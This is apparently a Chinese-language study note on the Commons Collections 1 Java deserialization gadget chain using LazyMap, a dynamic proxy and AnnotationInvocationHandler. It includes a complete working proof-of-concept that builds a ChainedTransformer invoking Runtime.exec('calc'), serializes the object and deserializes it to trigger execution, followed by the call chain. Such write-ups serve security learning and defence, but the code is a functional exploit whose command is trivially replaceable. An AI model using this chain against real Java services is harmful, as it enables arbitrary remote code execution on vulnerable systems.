CC1-LazyMap链

CC1-LazyMap链

org.apache.commons.collections.map.LazyMap类

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

主要是通过动态代理的思想，来实现链式调用。

sun.reflect.annotation.AnnotationInvocationHandler类实现了 InvocationHandler, Serializable接口，我们可以把它作为一个动态代理类，当被代理的对象调用方法时，则会调用Invoke方法。

readObject()方法中，entrySet()则会触发代理

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

public static void serializable(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
    return ois.readObject();
}

@Test
public void test3() throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    });

    HashMap hashMap = new HashMap();
    Map lazymap =  LazyMap.decorate(hashMap, chainedTransformer);

    Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    Object h = declaredConstructor.newInstance(Target.class,lazymap);

    Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            (Class<?>[]) new Class[]{Map.class}, (InvocationHandler) h);

    h = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

    serializable(h);
    unserializable("ser.bin");
}

链子

AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.invoke()
	lazymap.get()
		ChainedTransformer.transform()
			和CC1的TransformedMap后一致